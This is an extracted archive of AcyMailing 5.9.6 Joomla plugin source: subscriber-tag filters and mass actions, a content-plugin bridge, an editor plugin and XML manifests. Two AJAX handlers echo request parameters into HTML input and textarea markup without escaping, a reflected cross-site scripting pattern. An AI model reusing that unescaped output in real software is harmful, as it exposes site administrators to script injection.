		$others['{subtag:name|part:first|ucfirst}'] = array('name' => acymailing_translation('SUBSCRIBER_FIRSTPART'), 'desc' => acymailing_translation('SUBSCRIBER_FIRSTPART').' '.acymailing_translation('SUBSCRIBER_FIRSTPART_DESC'));
		$others['{subtag:name|part:last|ucfirst}'] = array('name' => acymailing_translation('SUBSCRIBER_LASTPART'), 'desc' => acymailing_translation('SUBSCRIBER_LASTPART').' '.acymailing_translation('SUBSCRIBER_LASTPART_DESC'));

		$k = 0;

		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\''.$tagname.'\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$tag['name'].'</td><td>'.$tag['desc'].'</td></tr>';
			$k = 1 - $k;
		}

		foreach($fields as $fieldname => $oneField){
			if(!isset($descriptions[$fieldname]) AND $oneField == 'tinyint') continue;
			if(empty($descriptions[$fieldname])) $descriptions[$fieldname] = '';

			$type = '';
			if(in_array($fieldname, array('created', 'confirmed_date', 'lastclick_date', 'lastopen_date', 'lastsent_date'))) $type = '|type:time';
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{subtag:'.$fieldname.$type.'}\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td><td>'.$descriptions[$fieldname].'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table></div>';

		echo $text;
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$this->pluginsHelper = acymailing_get('helper.acyplugins');
		$extractedTags = $this->pluginsHelper->extractTags($email, 'subtag');
		if(empty($extractedTags)) return;

		$tags = array();
		foreach($extractedTags as $i => $oneTag){
			if(isset($tags[$i])) continue;
			$tags[$i] = $this->replaceSubTag($oneTag, $user);
		}

		$this->pluginsHelper->replaceTags($email, $tags);
	}

	private function replaceSubTag(&$mytag, $user){
		if(!empty($mytag->juser)){
			$subClass = acymailing_get('class.subscriber');
			if(strpos($mytag->juser, '@') !== false){
				$userTmp = $subClass->get($mytag->juser);
			}else{
				$query = "SELECT * FROM #__users WHERE username= ".acymailing_escapeDB($mytag->juser);
				$JuserTmp = acymailing_loadObject($query);
				if(!empty($JuserTmp->email)) $userTmp = $subClass->get($JuserTmp->email);
			}
			if(!empty($userTmp)){
				$user = $userTmp;
			}else acymailing_enqueueMessage('User not found for tag juser', 'warning');
		}

		$field = $mytag->id;
		if(empty($mytag->titlevalue)){
			$replaceme = (isset($user->$field) && strlen($user->$field) > 0) ? $user->$field : $mytag->default;
		}else{
			$fieldClass = acymailing_get('class.fields');
			if(!isset($this->fields[$field])){
				$this->fields[$field] = $fieldClass->get($field);
			}
			$replaceme = (isset($user->$field) && strlen($user->$field) > 0 && !empty($this->fields[$field]->value[$user->$field]->value)) ? $fieldClass->trans($this->fields[$field]->value[$user->$field]->value) : $mytag->default;
		}
		$replaceme = nl2br($replaceme);

		$this->pluginsHelper->formatString($replaceme, $mytag);

		return $replaceme;
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$fields = acymailing_getColumns('#__acymailing_subscriber');
		if(empty($fields)) return;

		$field = array();
		$field[] = acymailing_selectOption(0, '- - -');
		foreach($fields as $oneField => $fieldType){
			$field[] = acymailing_selectOption($oneField, $oneField);
		}
		$type['acymailingfield'] = acymailing_translation('ACYMAILING_FIELD');

		$jsOnChange = "displayCondFilter('displaySubscriberValues', 'toChange__num__',__num__,'map='+document.getElementById('filter__num__acymailingfieldmap').value+'&cond='+document.getElementById('filter__num__acymailingfieldoperator').value+'&value='+document.getElementById('filter__num__acymailingfieldvalue').value); ";

		$operators = acymailing_get('type.operators');
		$operators->extra = 'onchange="'.$jsOnChange.'"';

		$return = '<div id="filter__num__acymailingfield">'.acymailing_select($field, "filter[__num__][acymailingfield][map]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1"', 'value', 'text');
		$return .= ' '.$operators->display("filter[__num__][acymailingfield][operator]").' <span id="toChange__num__"><input onchange="countresults(__num__)" class="inputbox" type="text" name="filter[__num__][acymailingfield][value]" style="width:200px" value="" id="filter__num__acymailingfieldvalue"></span></div>';

		return $return;
	}

	function onAcyTriggerFct_displaySubscriberValues(){
		$num = acymailing_getVar('int', 'num');
		$map = acymailing_getVar('cmd', 'map');
		$cond = acymailing_getVar('string', 'cond', '', '', ACY_ALLOWHTML);
		$value = acymailing_getVar('string', 'value', '', '', ACY_ALLOWHTML);

		$emptyInputReturn = '<input onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][acymailingfield][value]" id="filter'.$num.'acymailingfieldvalue" style="width:200px" value="'.$value.'">';
		$dateInput = '<input onClick="displayDatePicker(this,event)" onchange="countresults('.$num.')" class="inputbox" type="text" name="filter['.$num.'][acymailingfield][value]" id="filter'.$num.'acymailingfieldvalue" style="width:200px" value="'.$value.'">';

		if(in_array($map, array('created', 'confirmed_date', 'lastopen_date', 'lastclick_date'))) return $dateInput;

		if(empty($map) || $map == 'key' || !in_array($cond, array('=', '!='))) return $emptyInputReturn;

		$query = 'SELECT DISTINCT `'.acymailing_secureField($map).'` AS value FROM #__acymailing_subscriber LIMIT 100';
		$prop = acymailing_loadObjectList($query);

		if(empty($prop) || count($prop) >= 100 || (count($prop) == 1 && (empty($prop[0]->value) || $prop[0]->value == '-'))) return $emptyInputReturn;

		return acymailing_select($prop, "filter[$num][acymailingfield][value]", 'onchange="countresults('.$num.')" class="inputbox" size="1" style="width:200px"', 'value', 'value', $value, 'filter'.$num.'acymailingfieldvalue');
	}

	function onAcyDisplayFilter_acymailingfield($filter){
		return acymailing_translation('ACYMAILING_FIELD').' : '.$filter['map'].' '.$filter['operator'].' '.$filter['value'];
	}

	function onAcyProcessFilter_acymailingfield(&$query, $filter, $num){
		if(empty($filter['map'])) return;
		$type = '';
		$value = acymailing_replaceDate($filter['value']);

		if(strpos($filter['value'], '{time}') !== false && !in_array($filter['map'], array('created', 'confirmed_date', 'lastclick_date', 'lastopen_date', 'lastsent_date'))){
			$value = strftime('%Y-%m-%d', $value);
		}

		if(in_array($filter['map'], array('created', 'confirmed_date', 'lastclick_date', 'lastopen_date', 'lastsent_date'))){
			if(!is_numeric($value)) $value = strtotime($value);
			$type = 'timestamp';
		}

		$query->where[] = $query->convertQuery('sub', $filter['map'], $filter['operator'], $value, $type);
	}

	function onAcyProcessFilterCount_acymailingfield(&$query, $filter, $num){
		$this->onAcyProcessFilter_acymailingfield($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyDisplayActions(&$type){
		$config = acymailing_config();

		$type['acymailingfield'] = acymailing_translation('BOUNCE_ACTION');
		$status = array();
		$status[] = acymailing_selectOption('confirm', acymailing_translation('CONFIRM_USERS'));
		$status[] = acymailing_selectOption('unconfirm', acymailing_translation('ACY_ACTION_UNCONFIRM'));
		$status[] = acymailing_selectOption('enable', acymailing_translation('ENABLE_USERS'));
		$status[] = acymailing_selectOption('block', acymailing_translation('BLOCK_USERS'));

		if(acymailing_isAllowed($config->get('acl_subscriber_delete', 'all'))) $status[] = acymailing_selectOption('delete', acymailing_translation('DELETE_USERS'));

		$content = '<div id="action__num__acymailingfield">'.acymailing_select($status, "action[__num__][acymailingfield][action]", 'class="inputbox" size="1"', 'value', 'text').'</div>';

		if(!acymailing_level(3)) return $content;

		$fields = acymailing_getColumns('#__acymailing_subscriber');
		if(empty($fields)) return $content;

		$field = array();
		$field[] = acymailing_selectOption(0, '- - -');
		foreach($fields as $oneField => $fieldType){
			if(in_array($oneField, array('name', 'email', 'subid', 'created', 'ip'))) continue;
			$field[] = acymailing_selectOption($oneField, $oneField);
		}

		$jsOnChange = "if(document.getElementById('action__num__acymailingfieldvalvalue')!= undefined){ currentVal=document.getElementById('action__num__acymailingfieldvalvalue').value;} else{currentVal='';}
			displayCondFilter('displayFieldPossibleValues', 'toChangeAction__num__',__num__,'map='+document.getElementById('action__num__acymailingfieldvalmap').value+'&value='+currentVal+'&operator='+document.getElementById('action__num__acymailingfieldvaloperator').value); ";

		$operator = array();
		$operator[] = acymailing_selectOption('=', '=');
		$operator[] = acymailing_selectOption('+', '+');
		$operator[] = acymailing_selectOption('-', '-');
		$operator[] = acymailing_selectOption('addend', acymailing_translation('ACY_OPERATOR_ADDEND'));
		$operator[] = acymailing_selectOption('addbegin', acymailing_translation('ACY_OPERATOR_ADDBEGINNING'));

		$content .= '<div id="action__num__acymailingfieldval">'.acymailing_select($field, "action[__num__][acymailingfieldval][map]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1"', 'value', 'text');
		$content .= ' '.acymailing_select($operator, "action[__num__][acymailingfieldval][operator]", 'onchange="'.$jsOnChange.'" class="inputbox" size="1" style="width:150px;"', 'value', 'text', '=');
		$content .= ' <span id="toChangeAction__num__"><input class="inputbox" type="text" id="action__num__acymailingfieldvalvalue" name="action[__num__][acymailingfieldval][value]" style="width:200px" value=""></span></div>';

		$type['acymailingfieldval'] = acymailing_translation('SET_SUBSCRIBER_VALUE');

		return $content;
	}

	function onAcyTriggerFct_displayFieldPossibleValues(){
		$num = acymailing_getVar('int', 'num');
		$map = acymailing_getVar('cmd', 'map');
		$value = acymailing_getVar('string', 'value');
		$operator = acymailing_getVar('string', 'operator');

		if(in_array($operator, array('addend', 'addbegin'))){
			$emptyInputReturn = '<textarea class="inputbox" type="text" name="action['.$num.'][acymailingfieldval][value]" id="action'.$num.'acymailingfieldvalvalue" style="width:200px">'.$value.'</textarea>';
		}else{
			$emptyInputReturn = '<input class="inputbox" type="text" name="action['.$num.'][acymailingfieldval][value]" id="action'.$num.'acymailingfieldvalvalue" style="width:200px" value="'.$value.'">';
		}

		if(empty($map) || $map == 'key' || $operator != '=') return $emptyInputReturn;

		$fieldClass = acymailing_get('class.fields');
		$myField = $fieldClass->get($map);
		if(empty($myField) || !in_array($myField->type, array('radio', 'checkbox', 'singledropdown', 'multipledropdown'))) return $emptyInputReturn;

		return $fieldClass->display($myField, '', 'action['.$num.'][acymailingfieldval][value]');
	}

	function onAcyProcessAction_acymailingfieldval($cquery, $action, $num){

		$value = is_array($action['value']) ? implode(',', $action['value']) : $action['value'];
		$replace = array('{year}', '{month}', '{weekday}', '{day}');
		$replaceBy = array(date('Y'), date('m'), date('N'), date('d'));
		$value = str_replace($replace, $replaceBy, $value);

		if(preg_match_all('#{(year|month|weekday|day)\|(add|remove):([^}]*)}#Uis', $value, $results)){
			foreach($results[0] as $i => $oneMatch){
				$format = str_replace(array('year', 'month', 'weekday', 'day'), array('Y','m','N','d'), $results[1][$i]);
				$delay = str_replace(array('add', 'remove'), array('+', '-'), $results[2][$i]).intval($results[3][$i]).' '.str_replace('weekday', 'day', $results[1][$i]);
				$value = str_replace($oneMatch, date($format, strtotime($delay)), $value);
			}
		}

		if(empty($action['operator'])) $action['operator'] = '=';

		preg_match_all('#(?:{|%7B)field:(.*)(?:}|%7D)#Ui', $value, $tags);
		$fields = array_keys(acymailing_getColumns('#__acymailing_subscriber'));
		if(!in_array($action['map'], $fields)) return 'Unexisting field: '.$action['map'].' | The available fields are: '.implode(', ', $fields);

		if(in_array($action['operator'], array('+', '-'))){
			if(empty($tags) || empty($tags[1])){
				$value = intval($value);
			}else{
				if(count($tags[1]) > 1 || substr($value, 0, 1) != '{' || substr($value, strlen($value) - 1, 1) != '}'){
					return 'You can\'t use more than one tag for the + and - operators (you also can\'t add or remove a value from the inserted tag for these two operators)';
				}
				if(!in_array($tags[1][0], $fields)) return 'Unexisting field: '.$tags[1][0].' | The available fields are: '.implode(', ', $fields);
				$value = 'sub.`'.acymailing_secureField($tags[1][0]).'`';
			}
		}else{
			$value = acymailing_escapeDB($value);
			if(!empty($tags)){
				foreach($tags[1] as $i => $oneField){
					if(!in_array($oneField, $fields)) return 'Unexisting field: '.$oneField.' | The available fields are: '.implode(', ', $fields);
					$value = str_replace($tags[0][$i], "', sub.`".acymailing_secureField($oneField)."`, '", $value);
				}
				$value = "CONCAT(".$value.")";
			}
		}

		$query = 'UPDATE #__acymailing_subscriber AS sub';
		if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
		if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);

		if($action['operator'] == '='){
			$newValue = $value;
		}elseif(in_array($action['operator'], array('+', '-'))){
			$newValue = "sub.`".acymailing_secureField($action['map'])."` ".$action['operator']." ".$value;
		}elseif($action['operator'] == 'addend'){
			$newValue = "CONCAT(sub.`".acymailing_secureField($action['map'])."`, ".$value.")";
		}elseif($action['operator'] == 'addbegin'){
			$newValue = "CONCAT(".$value.", sub.`".acymailing_secureField($action['map'])."`)";
		}else{
			return 'Non existing operator: '.$action['operator'];
		}

		$query .= " SET sub.`".acymailing_secureField($action['map'])."` = ".$newValue;
		if(!empty($cquery->where)) $query .= ' WHERE ('.implode(') AND (', $cquery->where).')';

		$nbAffected = acymailing_query($query);
		return acymailing_translation_sprintf('NB_MODIFIED', $nbAffected);
	}

	function onAcyProcessAction_acymailingfield($cquery, $action, $num){

		$config = acymailing_config();
		$subClass = acymailing_get('class.subscriber');

		if($action['action'] == 'confirm'){
			$cquery->where['confirmed'] = 'sub.confirmed = 0';
			$allSubids = acymailing_loadResultArray($cquery->getQuery(array('sub.subid')));
			if(!empty($allSubids)){
				$subClass->sendConf = false;
				$subClass->sendWelcome = false;
				$subClass->sendNotif = false;
				foreach($allSubids as $oneId){
					$subClass->confirmSubscription($oneId);
				}
			}
			unset($cquery->where['confirmed']);
			return acymailing_translation_sprintf('NB_CONFIRMED', count($allSubids));
		}

		if($action['action'] == 'enable'){
			$action['map'] = 'enabled';
			$action['value'] = 1;
			return $this->onAcyProcessAction_acymailingfieldval($cquery, $action, $num);
		}

		if($action['action'] == 'block'){
			$action['map'] = 'enabled';
			$action['value'] = 0;
			return $this->onAcyProcessAction_acymailingfieldval($cquery, $action, $num);
		}

		if($action['action'] == 'unconfirm'){
			$action['map'] = 'confirmed';
			$action['value'] = 0;
			return $this->onAcyProcessAction_acymailingfieldval($cquery, $action, $num);
		}

		if($action['action'] == 'delete'){
			if(!acymailing_isAllowed($config->get('acl_subscriber_delete', 'all'))) return 'Not allowed to delete users';
			$query = $cquery->getQuery(array('sub.subid'));
			$allSubids = acymailing_loadResultArray($query);
			$nbAffected = $subClass->delete($allSubids);
			return acymailing_translation_sprintf('IMPORT_DELETE', $nbAffected);
		}

		return 'Filter AcyMailingField error, action not found : '.$action['action'];
	}
}//endclass
com_acymailing/extensions/plg_acymailing_tagsubscriber/index.html000060400000000054152455305300021606 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_tagsubscriber/tagsubscriber.xml000060400000004653152455305300023203 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Subscriber information</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add information of the subscriber in your Newsletter</description>
	<files>
		<filename plugin="tagsubscriber">tagsubscriber.php</filename>
		<filename>index.html</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscriber"/>
		<param name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscriber fields filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscriber"/>
				<field name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscriber fields filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/index.html000060400000000054152455305300013710 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_contentplugin/contentplugin.xml000060400000002655152455305300023267 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing : trigger Joomla Content plugins</name>
	<creationDate>November 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to trigger the content plugin system on AcyMailing. The Joomla Content plugin system has not been developed to be triggered from the backend and so you may have some non compatible plugins, that's why this plugin is not enabled by default</description>
	<files>
		<filename plugin="contentplugin">contentplugin.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-contentplugin"/>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-contentplugin"/>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_contentplugin/contentplugin.php000060400000006166152455305300023257 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingContentplugin extends JPlugin
{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'contentplugin');
			$this->params = new acyParameter( $plugin->params );
		}

		$this->paramsContent = JComponentHelper::getParams('com_content');
		acymailing_importPlugin('content');

		$excludedHandlers = array('plgContentEmailCloak','pluginImageShow');
		$excludedNames = array('system' => array('SEOGenerator','SEOSimple'), 'content' => array('webeecomment','highslide','smartresizer','phocagallery'));
		$excludedType = array_keys($excludedNames);

		if(!ACYMAILING_J16){
			$this->dispatcherContent = JDispatcher::getInstance();
			foreach ($this->dispatcherContent->_observers as $id => $observer){
				if (is_array($observer) AND in_array($observer['handler'],$excludedHandlers)){
					$this->dispatcherContent->_observers[$id]['event'] = '';
				}elseif(is_object($observer)){
					if(in_array($observer->_type,$excludedType) AND in_array($observer->_name,$excludedNames[$observer->_type])){
						$this->dispatcherContent->_observers[$id] = null;
					}
				}
			}
		}

		if(!class_exists('JSite')) include_once(ACYMAILING_ROOT.'includes'.DS.'application.php');

	}

	function acymailing_replacetags(&$email,$send = true){

		$art = new stdClass();
		$art->title = $email->subject;
		$art->introtext = $email->body;
		$art->fulltext = $email->body;
		$art->attribs = '';
		$art->state=1;
		$art->created_by=@$email->userid;
		$art->images = '';
		$art->id = 0;
		$art->section = 0;
		$art->catid = 0;

		$context = 'com_acymailing';


		try{
			if(!empty($email->body)){
				$art->text = $email->body;
				if(!ACYMAILING_J16){
					$resultsPlugin = acymailing_trigger('onPrepareContent', array(&$art, &$this->paramsContent, 0));
				}else{
					if($send) $art->text .= '{emailcloak=off}';
					$resultsPlugin = acymailing_trigger('onContentPrepare', array($context, &$art, &$this->paramsContent, 0));
					if($send) $art->text = str_replace(array('{emailcloak=off}','{* emailcloak=off}'),'',$art->text);
				}
				$email->body = $art->text;
			}
			if(!empty($email->altbody)){
				$art->text = $email->altbody;
				if(!ACYMAILING_J16){
					$resultsPlugin = acymailing_trigger('onPrepareContent', array(&$art, &$this->paramsContent, 0));
				}else{
					if($send) $art->text .= '{emailcloak=off}';
					$resultsPlugin = acymailing_trigger('onContentPrepare', array ($context,&$art, &$this->paramsContent, 0 ));
					if($send) $art->text = str_replace(array('{emailcloak=off}','{* emailcloak=off}'),'',$art->text);
				}
				$email->altbody = $art->text;
			}
		}catch(Exception $e){
			acymailing_display(array('An error occured with the AcyMailing contentplugin plugin, you may want to disable it from the AcyMailing configuration page',$e->getMessage()),'error');
		}

	}
}//endclass
com_acymailing/extensions/plg_acymailing_contentplugin/index.html000060400000000054152455305300021640 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/index.html000060400000000054152455305300020266 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor.php000060400000017041152455305300020771 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgEditorAcyEditor extends JPlugin
{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);

		include_once(rtrim(JPATH_ADMINISTRATOR,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php');

		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'acyeditor');
			$this->params = new acyParameter( $plugin->params );
		}
	}


	public function onInit()
	{
		acymailing_addScript(false, ACYMAILING_JS.'acyeditor.js?v='.@filemtime(ACYMAILING_MEDIA.'js'.DS.'acyeditor.js'));

		$websiteurl = rtrim(acymailing_rootURI(),'/').'/';

		acymailing_addStyle(false, $websiteurl.'plugins/editors/acyeditor/acyeditor/css/acyeditor.css?v='.@filemtime(JPATH_SITE.DS.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'css'.DS.'acyeditor.css'));

		if (ACYMAILING_J16){
			acymailing_addScript(false, $websiteurl.'plugins/editors/acyeditor/acyeditor/ckeditor/ckeditor.js?v='.@filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'ckeditor.js'));
		} else{
			acymailing_addScript(false, $websiteurl.'plugins/editors/acyeditor/ckeditor/ckeditor.js?v='.@filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'ckeditor'.DS.'ckeditor.js'));
		}
		acymailing_addScript(false, $websiteurl.'media/com_acymailing/js/jquery/jquery-1.9.1.min.js?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-1.9.1.min.js'));
		acymailing_addStyle(false, $websiteurl.'media/com_acymailing/js/colorpicker/css/colorpicker.css?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'colorpicker'.DS.'css'.DS.'colorpicker.css'));
		acymailing_addScript(false, $websiteurl.'media/com_acymailing/js/colorpicker/js/colorpicker.js?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'colorpicker'.DS.'js'.DS.'colorpicker.js'));
		acymailing_addScript(false, $websiteurl.'media/com_acymailing/js/jquery/jquery-ui.min.js?v='.@filemtime(ACYMAILING_ROOT.'media'.DS.'com_acymailing'.DS.'js'.DS.'jquery'.DS.'jquery-ui.min.js'));
		return '';
	}

	function onSave()
	{
		return;
	}

	function onGetContent($id)
	{
		return "AcyGetData();\n";
	}

	function onSetContent($id, $html)
	{
		$idIframe = "#".$id."_ifr";
		$initialisation = $this->GetInitialisationFunction($id);

		return "document.getElementById('$id').value = $html;$initialisation";
	}

	function onGetInsertMethod($id)
	{
		static $done = false;

		if($done) return true;
		$done = true;

		$js = "\tfunction jInsertEditorText(text, editor) {
				insertAtCursor(document.getElementById(editor), text);
				}";
		acymailing_addScript(true, $js);

		return true;
	}

	function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		if (empty($id)) {
			$id = $name;
		}

		if (is_numeric($width)) {
			$width .= 'px';
		}

		if (is_numeric($height)) {
			$height .= 'px';
		}

		$idIframe = $id."_ifr";
		$initialisation = $this->GetInitialisationFunction($id);

		$contentAvecOnClick = htmlspecialchars_decode($content);
		$editor  = "<textarea name=\"$name\" id=\"$id\" cols=\"$col\" rows=\"$row\" style=\"width:$width; height:$height;display:none\">$content</textarea>\n
					<script type=\"text/javascript\">
						$initialisation
					</script>";

		return $editor;
	}

	function GetInitialisationFunction($id)
	{

		$texteSuppression = acymailing_translation('ACYEDITOR_DELETEAREA');
		$tooltipSuppression = acymailing_translation('ACY_DELETE');
		$tooltipEdition = acymailing_translation('ACY_EDIT');
		$urlBase = acymailing_rootURI();
		$urlAdminBase = acymailing_baseURI();
		$cssurl = acymailing_getVar('none', 'acycssfile');
		$forceComplet = (acymailing_getVar('cmd', 'option') != 'com_acymailing' || acymailing_getVar('cmd', 'ctrl') == 'template' || acymailing_getVar('cmd', 'ctrl') == 'list');
		$modeList = (acymailing_getVar('cmd', 'option') == 'com_acymailing' && acymailing_getVar('cmd', 'ctrl') == 'list');
		$modeTemplate = (acymailing_getVar('cmd', 'option') == 'com_acymailing' && acymailing_getVar('cmd', 'ctrl') == 'template');
		$modeArticle = (acymailing_getVar('cmd', 'option') == 'com_content' && acymailing_getVar('cmd', 'view') == 'article');
		$joomla2_5 = ACYMAILING_J16;
		$joomla3 = ACYMAILING_J30;
		$titleTemplateDelete = acymailing_translation('ACYEDITOR_TEMPLATEDELETE');
		$titleTemplateText = acymailing_translation('ACYEDITOR_TEMPLATETEXT');
		$titleTemplatePicture = acymailing_translation('ACYEDITOR_TEMPLATEPICTURE');
		$titleShowAreas = acymailing_translation('ACYEDITOR_SHOWAREAS');
		$isBack = 0;
		if(acymailing_isAdmin()){
			$isBack = 1;
		};
		$tagAllowed = 0;
		$config = acymailing_config();
		if(acymailing_getVar('cmd', 'option') == 'com_acymailing'
		&& acymailing_getVar('cmd', 'ctrl') != 'list'
		&& acymailing_getVar('cmd', 'ctrl') != 'campaign'
		&& acymailing_isAllowed($config->get('acl_tags_view','all'))
		&& acymailing_getVar('cmd', 'tmpl') != 'component'){
			$tagAllowed = 1;
		}
		$type = 'news';
		if(acymailing_getVar('cmd', 'ctrl') == 'autonews' || acymailing_getVar('cmd', 'ctrl') == 'followup'){
			$type = acymailing_getVar('cmd', 'ctrl');
		}

		$pasteType = $this->params->get('pasteType', 'plain');
		$enterMode = $this->params->get('enterMode', 'br');
		$inlineSource = $this->params->get('inlineSource', 1);

		$js = "
		acyEnterMode='".$enterMode."';
		pasteType='".$pasteType."';
		urlSite='".$urlBase."';
		defaultText='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_DEFAULTTEXT'))."';
		titleBtnMore='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_TEMPLATEMORE'))."';
		titleBtnDupliAfter='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_DUPLICATE_AFTER'))."';
		tooltipInitAreas='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_REINIT_ZONE_TOOLTIP'))."';
		confirmInitAreas='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_REINIT_ZONE_CONFIRMATION'))."';
		tooltipTemplateSortable='".str_replace("'", "\'", acymailing_translation('ACYEDITOR_SORTABLE_AREA_TOOLTIP'))."';
		var bgroundColorTxt='".str_replace("'", "\'", acymailing_translation('BACKGROUND_COLOUR'))."';
		var confirmDeleteBtnTxt='".str_replace("'", "\'", acymailing_translation('ACY_DELETE'))."';
		var confirmCancelBtnTxt='".str_replace("'", "\'", acymailing_translation('ACY_CANCEL'))."';
		inlineSource='".$inlineSource."';
		var emojis = false;
		";

		$installedPlugin = JPluginHelper::getPlugin('acymailing', 'emojis');
		if(!empty($installedPlugin)) {
			$params = new acyParameter($installedPlugin->params);
			if(JPluginHelper::isEnabled('acymailing', 'emojis') && $params->get('editor', 1) == 1) {
				$js .= "emojis = true;";
			}
		}

		acymailing_addScript(true, $js);

		$ckEditorFileVersion = @filemtime(ACYMAILING_ROOT.'plugins'.DS.'editors'.DS.'acyeditor'.DS.'acyeditor'.DS.'ckeditor'.DS.'ckeditor.js');
		return "Initialisation(\"$id\", \"$type\", \"$urlBase\", \"$urlAdminBase\", \"$cssurl\", \"$forceComplet\", \"$modeList\", \"$modeTemplate\", \"$modeArticle\", \"$joomla2_5\", \"$joomla3\", \"$isBack\", \"$tagAllowed\", \"$texteSuppression\", \"$tooltipSuppression\", \"$tooltipEdition\", \"$titleTemplateDelete\", \"$titleTemplateText\", \"$titleTemplatePicture\", \"$titleShowAreas\", \"$ckEditorFileVersion\");\n";
	}
}

com_acymailing/extensions/plg_editors_acyeditor/acyeditor.xml000060400000005057152455305300021006 0ustar00<?xml version="1.0" encoding="utf-8"?>
